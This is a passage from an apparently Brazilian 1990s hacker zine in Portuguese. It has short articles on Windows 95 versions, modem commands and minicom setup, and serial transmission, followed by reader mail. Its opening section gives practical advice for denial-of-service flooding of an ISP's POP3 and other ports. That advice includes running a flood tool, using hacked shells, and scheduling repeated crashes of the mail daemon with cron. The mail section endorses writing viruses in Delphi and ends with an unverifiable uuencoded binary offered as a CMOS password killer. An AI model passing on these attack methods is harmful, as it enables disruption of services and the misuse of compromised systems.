.: 80 (www) . open.
.: 110 (pop3) . open.
.: 111 (sunrpc) . open.
.: 113 (auth) . open
.: 143 (imap2) . open.
kiddie(tty3/19)[~]#

hahahah.. legal esse exemplo.. mas tem muita maquina por ai desse jeito
mesmo.. agora e' o seguinte..

Voce pode atacar uma ou mais portas.. 

1. Se voce quer floodar UMA porta (por ex.: floodar a 110 eh bem divertido
   os users do provedor podem ficar 10, 15 minutos sem ler e-mail), use o
   NOSTOP, q ta atachado.
   eh bem simples, compile (gcc -o nostop nostop.c) e rode:
   kiddie(tty3/19)[~]# ./nostop provedor.lame.com.br 110
   pronto, ele vai conectar interminavelmente ate q de erro na conexao.. ;)

2. Floodar varias portas, como eu ja descrevi como fiz.. pode ser mais
   dificil causar grandes danos, mas saiba q vc nao pode fazer isso com
   uma simples conexao ppp :)
   eh bom q voce tenha algumas shells hackeadas, com conexao rapida para
   ficar floodando as portas em sequencia com uma velocidade q cause grande 
   trabalho do cpu da maquina vitima.. nesse caso vc pode adaptar o proprio
   portscan ou simplesmente roda-lo continuamente.. bah, invente!

  tem outra, vc pode usar o cron, por exemplo pra ficar derrubando o pop3d
do provedor a cada 10 minutos. use a sua imaginacao.. :D
  well.. basicamente e' isso. to terminando por aqui.. esse assunto pode ate
ser meio lame para alguns, mas e' importante alertar muita gente q nao tem 
muito conhecimento.. 

mais info: man inetd.conf 
           man services

qualquer coisa manda e-mail pra mim com suas criticas, elogios, info, oq for.

								inth


 Ŀ 
( 19 )VERSOES DO WIN 95. 
 Ĵ  
   Ĵ  By SyCoFlUiD   `
     

<<=InTrOdUcAo=>>

	Falae manow. Aqui eu gostaria de escrever uma coisa bem curtinha
sobre as diferentes versoes nas quais se encontra o Rwinslow 95, as
diferencas entre elas (se eh que realmente existem) e as melhoras que cada
uma apresenta em comparacao com a anterior. Eh que a maioria do pessoal
acha que Windows 95 eh tudo a mesma coisa, oq nao deixa de ser verdade:
tudo a mesma MERDA! AAuhauhaHUAaHahua! Falando serio agora, soh queria
esclarecer na mente dos manowz que o Windows 95 possue diferentes versoes,
algumas com melhoras significativas!

<<=VeRSOeS=>>

1  - Windows 95 Retail (Chicago) - 4.00.950

	Essa seria a primeirinha versao do Windows 95, aquela que vinha
toda embaladinha, na caixa coloridinha que todo mundo foi babando pras 
lojas comprar sabe...e se arrependeu..uhahuah. Possue o codinome de Chicago.
	Para ter certeza sobre qual eh exatamente a sua versao do Windows
basta clicar com o botao direito sobre o icone do "Meu Computador" e
Propriedades. Deve estar listado logo na primeira guia, entre as
caracteristicas de seu sistema, um CODIGO DE VERSAO, que neste caso eh
4.00.950. Essa checagem vale tambem para todas as outras versoes abaixo.

2 -  Windows 95 OSR1 (Windows 95 A) - 4.00.950 A

	Podemos dizer que essa versao foi a primeira a ser comprada da
Microsoft por firmas montadoras de micros e pre-instalada no HD, chegando
na casa do consumidor jah prontinho para mexer. Portanto, se o seu micro
ja veio com o Windows 95 instalado, pode-se dizer que ela eh OSR (seja 1
ou 2), sigla que quer dizer OEM Service Release, ou desmembrando mais
ainda, Original Equipment Manufacturer Service Release. 
	Essa versao nao vinha numa caixinha bonitinha que nem a versao
Retail, mas sim soh o CD e o manual embrulhados em um saco plastico (pelo 
menos no meu caso UahuAHUahuAUHaha).
	Em termos de software, nessa versao tambem sao corrigidos varios
bugs da versao Retail e eh adicionado suporte a novos perfericos. Eh
tambem chamado de Windows 95 A.

3 - Windows 95 OSR 2 (Windows 95 B) - 4.00.950 B

	Esse eh o famoso e procurado Windows 95 OSR2. A maioria jah deve
ter ouvido falar porque nele as modificacoes na sao apenas de drivers ou 
de bugs mas tambem de aspectos visuais! Dois exemplos: quando voce conecta
na net agora, em vez de a caixa de conexao ficar minimizada na barra de
tarefas (como acontecia na versoes anteriores), ela eh tranformada em um
icone e fica la embaixo da barra de tarefas, do lado do relogio. Nas 
propriedades do video tambem ha mudancas: eh adicionado um novo botao na
guia configuracoes: PROPRIEDADES AVANCADAS. Alem de o visual ser
totalmente novo, voce pode fazer coisas novas como po exemplo mudar por um
menu a taxa de atualizacao de seu monitor. Facilita bastante.
	Mas a mudanca mais marcante eh mesmo a introducao do sistema
FAT32. Para quem nao sabe, a FAT eh uma tabela presente no setor de boot
da particao do windows 95 que determina o tamanho de clusters (unidade
logica minima de armazenamento do HD) e onde fica cada arquivo. Com um
cluster de 8K por exemplo, mesmo que esse cluster esteja ocupado por um
arquivo de 2 K, nao podera ser ocupado por mais arquivo nenhum, ou seja:
um disperdicio de 6K!
	Bom, ateh o Windows OSR2, o sistema utilizado era a FAT16, em que
os enderecos de FAT eram de 16 bits. Isso impunha limitacoes ao tamanho de
clusters (eram muito grandes) e ao tamanho maximo do HD, que nao podia
passar de 2 GB. Com a FAT32, o endereco de FAT passa a ter 32 bits, e com
mais bits, podemos ter mais clusters (menores consequentemente) e um maior
HD. O limite de tamanho passa de 2 GB para 4TB (terabytes)!
UAHUhUAHUhauHAUahuAHUahuAHUahuAHUha!
	Tambem eh chamado de WIndows 95 B ou ateh mesmo Windows 97 (foi
lancado em 97) pelos mais empolgados

4 -  Windows 95 OSR 2.1 (Detroit)

	Nao passa de um upgrade da versao OSR2 (que voce mesmo pode fazer)
que suporta o novo barramento USB. Soh isso! Para fazer esse upgrade
procure no seu CD do Windows 95 ou na Web pelo executavel de instalacao e
quando encontra-lo, eh soh executar! Chamada tambem de Detroit.

<<=CoNcLuSaO=>>

	Eu sei..eu sei oq vc deve estar pensado...que do jeito que eu
escrevi esse artigo eu devo puxar o saco pra caralho da Microsoft e das
coisas que ela faz! NAO!!! Voce tem que entender que eu soh escrevi isso
porque mesmo no meio underground muita gente ainda usa o Windows 95 e essa
informacao poderia ser util pra quem nao sabe. Mas eh soh por causa disso!
O Windows 95 foi feito totalmente se desconsiderando a questao da
seguranca e parece que soh foi pensada a questao da aparencia e da
facilidade de operacao. Esse eh o seu maior pecado, entre todos os GPFs e
telas azuis que podemos imaginar. Eu pessoalmente considero esse sistema
um lixo mas ele eh um sistema e 99,9999999% da populacao do mundo usa ele,
e dessa forma, nao pode ser totalmente desconsiderado. Espero que tenham
entendido meu pensamento.
	Outra coisa, peco desculpas se voce tiver boiado na parte que
explico a FAT, pois aquilo realmente requer uma base de conhecimentos de
hardware. A questao eh que eu nao quis sair muito do meu assunto pra
comecar a me aprofundar em geometria de HDs mas, caso tenha alguma duvida,
nao hesite em me mandar um e-mail que eu esclarecerei com maiores detalhes 
o que voce nao sacow (desde que as perguntas, obviamente, nao sejam "Ei
tiu! Quer ser meu mestri di hardiweri? MI  INSINA?????"
uahuahuahuahuauhahuahua)

Nesta materia, devo creditos ao excelente livro HARDWARE -  CURSO
COMPLETO 2a EDICAO, do Prof. Gabriel Torres

								=[SyCoFlUiD]=


 Ŀ 
( 20 )Modem & cia    . 
 Ĵ  
   Ĵ  By sOurce      `
     

   INTRODUCAO
   ----------
    Hello! Aqui vou falar um pouco sobre o modem e seus comandos. Mas, ora, 
porque modem? Porque comandos? -- Bem, muita gente, que esta iniciando no 
Linux ou que esta mexendo em um terminal de modem, pela primeira vez, num 
sabe nem pra onde vai! Aqui eu quero simplificar o uso do MINICOM(terminal 
de modem do linux) para os usuarios novatos de linux e mostar os comandos do
modem, que sao muito interessantes, pelo o meu ponto de vista. Vendo que, por
exemplo: Voce quer jogar Quake com o seu amigo, dai tem q configurar o modem.
Mas vc naum sabe porra nenhuma! Entao... Ou voce quer dah uma olhada numa 
BBS(hm,ainde existe? ;), dai voce usa o Hyper Terminal ou coisa assim... Eh 
bem utilpara alguns.


   WHAT HELL DOES MODEM MEANS? 
   ---------------------------

    MO = MODULER, DEM = DEMODULER. Modulador Demodulador. Caso voce esteja 
conectado a' qualquer servico, seja ele Internet, BBS... Voce ira ouvir 
aquele barulho chato pra carai.. Aquilo o modem DEMODULA, e transforma em 
comandos..Eh soh isso!(como se fosse pouco ;)

   COMANDOS BASICOS 
   ----------------

    Todo comando do modem, tem que ser executado com o prefixo AT(com execao
de: A/, +++ e A>). 

  A - Coloca o modem em MANUAL ANSWER. Pressionando qquer tecla, aborta a 
operacao.
  Dn - Onde n pode ser:
       P - Para pulse(linha analogica)
       T - Para tone(linha digital)
  H0 - Hang Up, desliga o modem da linha.
  Ln - Onde n pode ser:
       0 - Volume baixo
       1 - Volume baixo
       2 - Volume medio
       3 - Volume alto
  +++ - Vai para o modo 'online-command'(comandos executados On-Line).
  Z - Reseta o modem
  (os comandos acima, voce DEVERA executar com o prefixo 'AT')

     Mais basico que isso nao existe! Vamos exemplificar uma conexao:

 ATZ ; Reseta o modem
 ATDT2345678 ; Liga, no modo TONE, para 2345678

 --
 ATZ ; Reseta o modem
 ATL0 ; Volume baixo
 ATDP2345678 ; Liga, no modo PULSE, para 2345678


  CONFIGURANDO O MODEM, NO LINUX
  ------------------------------

     Bem, caso seu modem NAO seja WINMODEM(eek!), voce pode continuar lendo
isso... Veja a lista:
WINDOWS -    LINUX
--------.--------------
COM1    :  /dev/cua0
COM2    :  /dev/cua1
COM3    :  /dev/cua2
COM4    :  /dev/cua3

     Okay, agora vah na shell, logue como 'root' e digite:
  hostnametal:~# cd dev
  hostnametal:/dev# rm modem
  hostnametal:/dev# ln -s /dev/cuaN /dev/modem
  (onde N eh o numero da com, veja a lista...)

  CONECTANDO A INTERNET
  ---------------------

- METODO MINICOM
    Esse eh o mais facil, para alguns.. :P
    Logue como root, e na shell digite:
  hostnametal:/dev# minicom -s
    Voce ira entrar no minicom no modo SETUP. Va em 'Serial Port Setup',
pressione 'a' para ir para o campo de configuracao do modem, e digite:
  /dev/modem
    Agora va dando OK... E depois selecione a opcao 'Exit'(somente EXIT).
Agora voce ira entrar no terminal Minicom. Estando dentro, digite:
atdt2345678 (onde 2345678 eh o numero do seu provedor)
(depois ele ira conectar, digite seu login e sua senha e quando aparecer as
letras estranhas pressione CTRL-Z Q, e selecione Yes, <Enter>)
   Pronto, voce caira na shell denovo, uma vez na shell, digite:
  hostnametal:/dev# pppd -detach /dev/modem 38800 defaultroute &
   Conectado e feliz! :)

- METODO PPPD CHAT
   Hm, facil, siga os passos:
   hostnametal:~# cd /bin
   hostnametal:/bin# joe internet
   (ira aparecer o editor, entao digite:
   pppd connect 'chat -v "" ATDT2345678 CONNECT "" ogin: seu_login word: 
   sua_pass' /dev/modem  38400 debug crtscts modem defaultroute
   hm.. um pouco grandinho.. :), modifique para seu provedor e tal.. entao
   pressione CTRL-K X, para salvar o arquivo e sair do JOE)
   hostnametal:/bin# chmod 755 internet
   hostnametal:/bin# internet
   (agora ele ira conectar .... caso voce queira acompanhar o processo de
   conexao, digite)
   hostnametal:/bin# tail -f /var/log/messages
   (para sair, pressione CTRL-C)
   (para verficar se esta conectado, digite:)
   hostnametal:/bin# ifconfig

   Logo, toda vez que vc quiser conectar, voce somente precisara digitar
'internet'!   

 E era soh isso...

								sOurce


 Ŀ
( 21 ) Transmissao serial e paralela 
 
   Ĵ  By isalphanum  `
     

     Bom... eh isso aih galera, essa eh minha primeira materia na zine
     e espero que voces gostem, mamdem e-mails dizendo o que acharam.
     Mas chega de conversa, e vamos ao que enteressa....

     -==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-

     Dados digitais podem ser enviados atraves de um canal no modo serial
     ou modo paralelo. Os dados sao geralmente divididos em caracteres e
     estes sao compostos por "bits". Supondo que os caracteres sao compos
     tos por seis "bits" cada um, na trasnmisao paralela  o sistema deve
     transmitir os seis "bits" de uma so vez. Isso eh efetuado em alguns
     terminais, usando seis trajetorias separadas de comunicacao, usual
     mente com uma setima para fins de controle.
     Algumas maquinas sao projetadas para transmisao paralela, mas nao
     usam fios paralelos para conecta-las, ao inves disso, os "bits" viajam
     simultaneamente, usando diferentes bandas de frequencias na mesma
     trajetoria de comunicacao.Isso eh conhecido como uma forma de multiplexa
     cao por divisao de frequencia, onde um canal fisico e dividido em varios
     canais efetivos, cada um, operando  numa frequencia diferente da banda.
     Na transmisao serial, os "bits" que compoe cada caractere sao transmi
     tidos um de cada vez. Assim, o codigo ASCII para o caractere ")", que
     eh 01010011, poderia ser transmitido como mostra a figura abaixo...


                    
  ___________             ________        _________            ___________ | 
            |             |      |        |       |            |           |
            |             |      |        |       |            |           |
            |             |      |        |       |            |           |
            |_____________|      |________|       |____________|           |
             Start   0       1       0        1        0   0      1     1  |
                                                                          stop
    (esse grafico ta uma merda ;) )


     Como os "bits" chegam um de cada vez, o equipamento receptor deve saber
     qual "bit" eh o primeiro do caractere, a fim de que possa decodificar a
     informacao recebida. Este eh um problema de sincronizacao.
     Na transmisao assimcrona, a sincronizacao fazendo-se preceder cada carac
     tere de um elemento de "Start" e anexando, apos os "bits" de informacao,
     um elemento de "Stop". Devido a isso , esse tipo de transmisao eh conhe
     cido como "start-stop". A informacao transmitida serialmente ao longo
     do canal eh entaum composta de tres partes: aparte de "start", a parte
     da informacao, e a parte de "stop", cada um ocupando um certo espaco de
     tempo.
     Na transmissao sincrona, os "bits" do caractere sao imediatamente seguidos
     pelos do proximo, nao havendo elementod de "start-stop" entre eles. Os
     conjuntos de caracteres sao divididos em blocos  de comprimento variavel.
     O tamanho do bloco varia desde poucos caracteres ate ate varias centenas
     deles, dependendo nos equipamentos utilizados na transmissao.
     A sincronizacao das maquinas trasmissoras e receptoras eh feita por
     osciladores. Antes que um bloco seja enviado, o oscilador da maquina
     receptora deve estar exatamente em faze com o oscilador da maquina
     transmissora, isso eh atingido atraves do envio de uma configuracao de
     "bits" de sincronizacao, no inicio do bloco. Uma ves que os osciladores
     estejam sincronizados eles permanecem assim ate o fim do bloco.

                                                          isalphanum


 Ŀ
( 22 )  M a i l s    
 
   Ĵ  By Leitores `
     


<subject: D+>
<from: ???????@?????.com.br>
<to: black_mask@usa.net>
>  Carinhas ces to D++ 
>  estou comeando programao pascal, e seus zines do uma chuva de porada 
>  em cima de outros por a... 
>  nunca pensei que poderia criar virus em pascal, achava que somentes em 
>  outras linguagem de programao como C,ASM, etc... 
>  Gostaria de saber se h condies de criar virus ou algum outro programa 
>  em Delphi 1,2,3. 
>  Caso afirmativo poderiam me dar estas dicas ??? 
>  T de olhos em vocs. No perdo um zine no quero perder esta 
>  oportunidade. 
>
>  Beijos... 
>
>  ***a! 
10x!! E' bom saber que temos leitorAS tb, num mundo de maioria masculina.
Em Delphi, voce pode fazer qquer tipo de programa, incluindo virus, trojans,
etc. Mas, a versao do Delphi tem que ter suporte a ASM, a versao 4 eu
sei que tem; veja no help do teu Delphi pra certificar-se se ele tem.
A menos que eu e o sOurce estejamos errados, e' possivel criar virus SIM.
Bom, em www.blackmask.base.org/delphi.zip voce encontra um tutorial de
Delphi super completo. Acho q eh soh. Beijao pro ce tb!! :***


<subject: parabens>
<from: ???????@prover.com.br>
<to: black_mask@usa.net>
>  A, blza manows? 
>  O zine 6 ficou massa 
>  Rodo linux mas tb preciso do win, pois trabalho com cg. 
>  O HackPhr  o melhor zine realmente hacker do brasil. 
>  Na ultima edicao li algo sobre rodar linux e win no mesmo pc sem 
>  reparticionar. Um outro mtodo e q funciona com o Slack e o Suse (foram os q 
>  eu testei)  usar o sistema UMSDOS. Ele ser instalado em um diretrio do 
>  DOS, apesar de que algumas funes podem nao funcionar l grandes coisas. A 
>  mais ou menos um ano e meio atras eu usava ela com o Slack. Agora rodo linux 
>  em outro hd. 
>  Nao me considero hacker nao, mas da pra fazer uns sysop's passar raiva de 
>  vez enquando :) 
>  Eh so. 
>  Um [ ] pro ceis 
>
>  *******
Valeu!! E' sempre bom receber tais elogios pelo trabalho que
temos feito. Mas, e' mais importante ainda termos os pes no chao.
Falow!

<subject: Contribuicao para o zine>
<from: ??????@???????.??>
<to: black_mask@usa.net>
>  Que bom q vcs voltaram, a hackphr zine foi uma
>  das melhores q eu jah li !
>  Continuem assim galera []s. Ahh, Achei um erro no script da hackphr (na
>  versao 2.0):
>
>  * /writeini: insufficient parameters (line 94,
>  popups.ini), deem uma
>  verificada, vcs naum querem q o script tenha bugs, querem? Bom, serah q
>  vcs podiam me dar um help?? O negocio eh o seguinte: Eh akela tecnica
>  de invasao por IP no Win95, configurei o WINS (204.118.34.6 primario, e
>  204,118.34.11 secundario), daih usei o NBTSTAT e consegui ateh ver o
>  znome do micro alvo, group e tudo mas naum conseguia conecta no @$^%,
>  num texto onde eu vi essa tecnica dizia tmb q tinha q altera um tal de
>  arquivo LMHOSTS, mas naum dizia qual a sintaxe q tinha q usar nele,
>  essas coisas.
>  (no NBTSTAT -N naum aparece o micro alvo, somente com -a <ip>) Agradeco
>  se puderem me ajudar. Gostaria tmb de contribuir um pouco para a zine:
>  Achei um programinha legal q reseta a BIOS do micro, isso pode ser
>  bastante util em certos casos, principalmente para acabar com a senha
>  do setup, essas coisas.
>  Funciona com todas as BIOS e nao oferece nenhum perigo para o micro,
>  pois ele nao regrava o CMOS, apenas reverte as "coisas" para o padrao
>  de fabrica :) Entaum aih vai ele, bom proveito:
cuted - killcmos apos a resposta ;)
Bom, valeu aih!! O script pra mIRC foi coded pelo QD, mas depois ele
abandonou o projeto. Quanto a "Invasao por IP", eu nunca tentei nada
disso nao, portanto nao posso ajudar.. Ah, e valeu tb pela sua con-
tribuicao, mandou coisa legal, a gente publica. :))


P.S.: Como vc pediu pra q nao pusessemos seu mail verdadeiro, sua
contribuica fica anonima. :)


***-=-=-=-=-=-=-=-=-=-[killcmos.uue]=-=-=-=-=-=-=-=-=-=-=-=-***

_=_
_=_ Part 001 of 001 of file killcmos.zip
_=_

begin 666 killcmos.zip
M4$L#!!0````(````/"&0$:!?U```+<!```+````1DE,15])1"Y$25I]SDT*
MPC`0!>!]H7=X!S"MNE!<N!)TH2+H0M!*41IHH1IIJB+D;M[#4W@$.YWTQXUO
M,R_AZZ2`ZP!O(40`P"^F>(4<NN2\R!A0`K\<="!3S:)5QA2+?,/&A"%/5C6A
M-:9>8YB8D&X:@[I4/>`7_QH;-O8/N=A>;BGCNXX8?_98)EHGZ@),,W4&9BK"
M]KB6.QP^8^$Z5E'FR6(Q6:XVN'L]KVN?8E6:M=0RUWBJ6P9RG>*+--4_)H\E
MKD>M'RJ+M(<F+;.1UUR>3S)#?YC''?1&HT'+N,X74$L#!!0````(```(.R%+
M<,%>N@@``"`)```,````2TE,3$--3U,N0T]-S4_Y.Q..`Y[[)KY:R"VW-'(U
M9T*2'(6Y+3F+'#D*N7+F3(J4.Y^AD6,V,\R&B(TY-G.D)6E\<L]1%E^_?/^'
M[P_O\[SO\Q[/\Z[VL'V?H4G<N)VEP]]Y?D1,(,6R3WGHPYT>!P#:X%#"O2*G
M)6MW2QTDL/ZBO[9O144Z")"<=O3Z<!8J7+4K$GLY&T0H9:>NU-U_D!"$)1T(
MS6YXU895M7&O72>D.,S[4NO,OB1A1:_]Q_E,Z6,2JVF=]/:.J>E?[,.K/K,
M,#F1CE0N)4IB-#LC9!M\<J!"NW);?J[O2A)W6=5%52"%!>,1&7N^7%";X50N
M/W%ZV9\28T"T*00^/[D^#C((BK4Q'>.E<2F$>WPTGL293YD"Z^U^OP1<9]B
M>6A7910.86WHC\QS.A!3MD:_.>FO7(!CW2>?*7,4J;$$+,EV;T(0L8*G&Q>
M>U247C!\`-!?H2,/!["7-I]2`YV8WUPTARX\L\PTQ;LK5]=.;N(*3"-=`PK
MGB$`F^6U&RUF4)8N^H.Q27]KW'7VS**K<4DU,Z%)M7U9L[SW9:RAZ)*]^,>
M'F>?R;RSF:,9RK*-8\-:*2<&0(N7?^_O7_&)J+BC/*.UJJE1XD>QZAH)7B0
M&8<(7KG54SU>(<)E8Z5!:YG%4SA,C1-E'M4*=P>QH"0(IRO;]1;_=NLL,'Q
M)COE;>+B"E#I4#T!G8^<D.;Q_K<W;#ME8\"%^6K1T5<U2F5OTF<6':^&^C=
M^&F)8R#6^HW[Z_)CLC&*UW#BUEBAWG!T8[DFCQGGLX>8IG*0W-7+)C'_-/\H
M[!=]HA03O%M]<R%JU6\V1-8[!RS^H?.OV)OEYD7G+`N>R)EGA$WZ"E$<]UQ
MUNT-_6M?,U7X(T]E'ZIKKOMIF#IX7O-.J.XP&C#Z5S#`JD[%`V[0J\M2<>7+
M^8W*\-90!EGC;$VY!^5'F)(IZZQ)2&G>J)!XZY[H`UO"@]X0^:"_5]C4\[V
M-+_GQ'<T?TC2J+6CT5:;R2?('2/TU_SZ2I:/IQM$)JP$L:X_)=EU2UY6]*%
M7".\0D!)`=>?ISWYB#L>3)7COB49"I(5&?2.OXN)J%007=:-AXF(S[MBUG*6
M`L[_/?12CV<>!2X$H%&[O',';QK$K>&1(_G%^A'9IDGA["CGC]I!M2&QUV-5
M3=HCC^PD0]L7;9R&']F$B<TXK9+=)$UOXZ>9R0`5RGWGHGCZA^Q>\AJ7H7B
MVV!'^1$,I\G.A?G695B\N$A.@YG9&.@E+HNGY$-05`3LN[507#HJG8'K(:A
M/+B-CO`X_Q)-HM(J&>;058L%:TW4(,</&/ON]0(?&`UBMFW9EV2K42)S5M#(
MJ*(LR_MKR"HT[?-`_)7R5!W&J+\O7AH!(LH9L3YB)<KV;K/3Q0!T;H!,+C6_
M;_4L`'.)`^$&9U=KO!G]NU]0ABG(E7/</TGE9%!'V:>7Q^8Y8;6R\O"XR?E
M>U^*NZFP=P5OG2!#`!=(N?4QSQB$Z`3\38(T00]>B!-TJX&Y7*R#ND"A5
M>RJ4QY%*6WM96YY^\T0<*L/TN*<Z=UYUWV%<C>23N'K].3SC'0AQKH0DR$X
MDI0+,6;F+:S6Y]3"SE/DL7.4!AQ)@JO]5*B="@D<2=[GM"HI*<E=+PFK=2N9
ML:'BLK"K%*4E*O:`<M)U@/U).?!&GN:?!^&&4KL/L`N4%]YE..2%H%,FV7V`
MZQ3=XQF*KL,.'UE_S[CTC+AC1">\MTBP>*DO*LQQ*\]O;"L<WJ/-J;`VYU
MU\D1U+<M%UZL(NE7DIV& &BP0[(XH;O=0S#<#-L8B%*S&&^D(_M4>L<6
M261,S.&5H:Q'C.'P8G<<0[83&CAF%[N)X1>88ZOH*\EYK[_9!';8.MU,FW;T
MCW@)T'^TT0,.?JBN-Z]NY[L7W&.,0J/`4I4F[>.RK_Q[$H1^[KTVG&"\1$?B
MVR]UM9\4@;=(^/^!WU#8Z)))1';$4_741:FI^0NE^6K?RLAA!6`W7LZ/%>MH
MN(YV-CG/PR9\*FUD]U"L[3>.J,`'.21HY/<\.Q)WKE:$+?QGI3HM:*\4:#<
M4Z`/6RSU,-%8:1:;A"''JP^V<!-,.XY\^">G^9W$V[6!6!9FYQ]3B5"V\`JG
M8C-C^PC&)&OX%-SDD[N.>8Q7?T%Z1N-=>#''^H;JK#!*EKUDB?'36I'I0OZ6
M(W\'<#TZ<X;MSN@,5DL(U11H\12":/2_Z8@,9D%SW=0F99;'$138H.I,Y^U9
M_Y=6'KTA^[6_U.P?MLJ(]?MFW%SJ593)<O5JWS=PQ;N[:AZ+;-%\]<[`]Q%.
MYMH2\`4@/D?&9D[M51QWD?T:>,X*:']R<42IXJ;N]6I0AZ!99\)LTE9\+2+
MR?*3JIP3BA:8(YX"KH:#SSD)[;D]H9NB_^:5-G&O$M<B_]0PZ;^%7K40](:8
MF2`+JN+]&.F1J$2^U-<VW%I^8_0_1'?DO87HF<BU?5O#\T-K7M0GK6#^>M^:
MX9USUQJD8CKBG*%HRW=>10>&L+I+^F?Z?8OKFLP8;=Q7^X%O?]$T-#]$(S(
M/2D!I@\#-LH>6*EQP)T?9PN(I/5RYD#*18*!Y'V&4.6\?C8+.E4C/@]74L/
MMIG1%NSW$Z/XRFN'^L\-.'2L$G!;(EMY\#&=&T%Q06<OZ,$G:'B:U[O$"^*N
M:JX_1%?>59/:SX3F/G12M9;(VF.G$%K[E#&"146OPUL'@\R.+M36B9!MT+R
MHWA4P/7DY?U?+ZI29:4\3?QFQ=9*ZZ9A"W<+(QTNVFH6KW+/#7<,O.:/2*XQ
M^VODG88^Y.U,1WQB7TO"A?0L$-\IO^AOWJ/U'"$FD._2!Z_?T-MI/H7!TC*
M.67KO-O3#<,EW%'I[G8:IGY)O<PI0>>=(X<6D9E&+&`;K<0?PDRLNN[5)S]
M8D*$95FKRA=ZE]U*[XLI.BEY?CNS0VHB-(L&9[E;ZUH`<[<!\GU/NQ?9KSS^
M__POWW61]0L)_U]02P,$%````````@[(?A$R57X#``%"(```P```!+24Q,
M0TU/4RY.1D^M6?]RVS82_E\S>@?4,]<X&85.FC:M.YWV:%NQ=9$ECR3739M.
M#B(A"35)J``913=YLK8/T/[1)\C+W+<+D*)=-[V;*1-+)`'L[_UV`74[0KQ[
M][/_J/_X:FYP1Q<-\:MW8?Z[]LV[G[M,Z2?\_?9+N/FI7M_<_/8[KE]$0\_/
MQSO_[(<]I7=,Z$\I[4CRS-TT?]>6Z;??@Z!_0>FG7XGE34J__L["_51K)[R
M.Q:[FU]W;VB=-T)X^=LO]3RF1*/\X?]^]U9I;L*='Z;KU_;+9AY1>O_U.GH<
M/>IV_+^KE2R%=D*77]$CAI_K+#L^'T_%7#J=R"S;BCVKG"K=GMB:RHK$Y.NJ
M5/:>$SP/0Z4NEDZ41I0K)18R*8W=,K%4+625E2X25\9>.['1Y4K$PR&OC(C9
M<,A$3`$^R4H62^7PK9)K5^5.?"A>RZQ2CHF5)&LNKS^.0&GW9NI$V](%:]
M5K:$W,DUR1+DV,G%7SP0(C!3)R,^U,Q&L_$1%U8L[0R]]HQI4Q?*R'%LV$\
M/1.3\;FXLAH:B]2H%IDVE9/X/#[MBS,(LY%6M56S2J;N8$,4V$88EDZ8!2E1
M>XLGLGY+&%K0Y%(5-)MTVJ9RVV.=4[U8**N*1)'3Z,W7\?"R[]?6Q#9*+/5K
MS"CWD]RX^U$]T.U,R)',K2>N5MO@\P<N486RVL`-Z&]&8-_"5TP3R.@\?Q
MG%:NA$UED4(#%I'&2?I"J93UF\,ULM#K*I.E2GM$;EZ5PIE<@;Q80?FU=`X,
M4I7R>LA4K2.Q=ZK4GM<S`1O,M\+)K>N)O3.SN9<V2L)&-,LJ*`&F.)>*:X+
MLX%8VW*%6!1R;L!2BHMX.KT:3TZ^VA-BMH+)-N"^66U)06M*MC_Q6_L0:"PU
M!?-2YPJ\:^4?;F11R+EZ6"*(':(JTW-EH2("=V$LRX0$4%E&1'+EW0GB6Z@,
M;]S464.UK2M5#X_0%F8QR\8W,LROP#4*/V(&IENFM:F!,SN!81QKF;5OG\
M(4K]\$'WG9(UK4IG(*.E2-NAQ&9%RM%9MAC]9_U1,O3`5&9,,SRAPP5Z(
M\1=*KGH@@U&(Q&,0PZU,1%^!55[9/*-W.)Q9#8]D2.)K8(C2A]`E#"@3,1J
MG59*6J^J6Q&]8IL;3AF0*:M')N1_$*1U&T)XYF5SU*T'O>(#4QJQY20'/F
M70#LVB8P9H3FI'8N'TV^":D>/!HM,?!?[RJ\O6#'YT>5[D^X%G%.,Y/A_P
MQTG_>'S2[W%D]9KX\G?C9\_((&F(*J0)F+,=3"'.&:Z."*Z`<-HF4CP^_.RS
MAX\/#S^&R&=1#YP"DE%>>(!PG&(AO#$.DMND$TP<3!("`N;<I!`X&S!87PS
ML<N-X<1N!;9L(^@?P'Q#AJ.@3HRUU1J9C%!CFTN6R&R0$HNL>B,@`4?P7"42
M`4?67JBL]"#*3I#5`X!9!DI%>AIF"277"6NE5J39\3"FIP`KP#0A&+"0N6J
MJ#DQ]'SB+Q"<NFR)XZ0Y(`C/BFYI=(6OP%UDO`9Q6)9BR"*I+$H2!=&Z
MT!:B'VGC!&,CP@(I/YQP??*$PE.H3BD[YSA4*$+(4,J>?BSFVU*)Z!CU8J&S
M```;4V4<$'4</'[TZ!_!N4TI=5YUQ,.GHBI*G8D0%;$U%=QZ[_!CP4!ZCE1A
M::$O%AN(0\O)6J#H_-+\#O0%!>R0?69:\R:&)5=+"F8Q1\CKDF*[KG@2.
M651=2DF*NK75"@LHOZ?&F"C:F:-%B(LMA`8SRM\24.7VQ;7V.4RS#^I$F=X'
MB0&'>0[9:V*-E;C3:#S?\Y6CI%C,%.<\1FI:D)/8[;$S"'*XC`K-`,.8C)
MTO.58D$*$0F2".#,C<C*/T+\U,I0Z^:28F#+I;>@FA>J="LN)!0+2'"NSB#
M,Y4/W'5&B'C%P[6&I3&4N%,41FZ=*(LI2SO[JJ:"-M_S'%UO[?C5'(/!&*
ML:P*,<^D*X,CFB:FW8+4C14IZ!LJ\A7U8<]'XZM1V].L:\T[,XFD3$7_AAPN
M")X;6OL&G8GO:NZW2-4H3'0^#+$E$](.2,_A4#=WP9I]!"52#QU:M<)FIN
M3`F0FJ+^P\,W+/(,L591\3_QG1WC6HU;0R-18JEF>/*H*CXH=1XJ1F**A5Z"
M+=5NXVL[>?6*M$+G2!";/HPM>BF'.??(C/KM483&$6J3#PF/8]0M'-N\]"E
M>3@"1K6QZ%^$C^J-2J!<XQ4&"GIU%]AJX*QD])9>DZ!W2E-T3E"NV7V3CQ
M)'IS@/O#3RB5N$)1X8`?"*2O!B,QFOGX!K4M9Y.IEBLN"H.BH1+:#Z_PGED#
M=8$J#M[>\^`/.\&DP'ST"H6QN<PB,:8V'7%?$#$"%LN."E9CBCV_N'OQM_4
M&)+UEX7^CZ)^1NS-9;HG/@SELF[BD<61WYH8WZ1A4+M2=A5H\+OKRT<O4T
M5&L-O\GL.F1ROG4J6_CB0^LH\7P'?*)DN3HR6_'<Q-,+O'D5+G'7Q:^C,/CJ
MU9_.!9V78>AE/34LH*<#(=Z^$F_I$\_U3$%SZRFO7H$-2_B6"+RE0:QCB]Y
M%?_'BY=OPW`S$_/`69^X5^\;>C\F[AX-ICBZ7E)_(071*BF(U[N"_'%JR_%
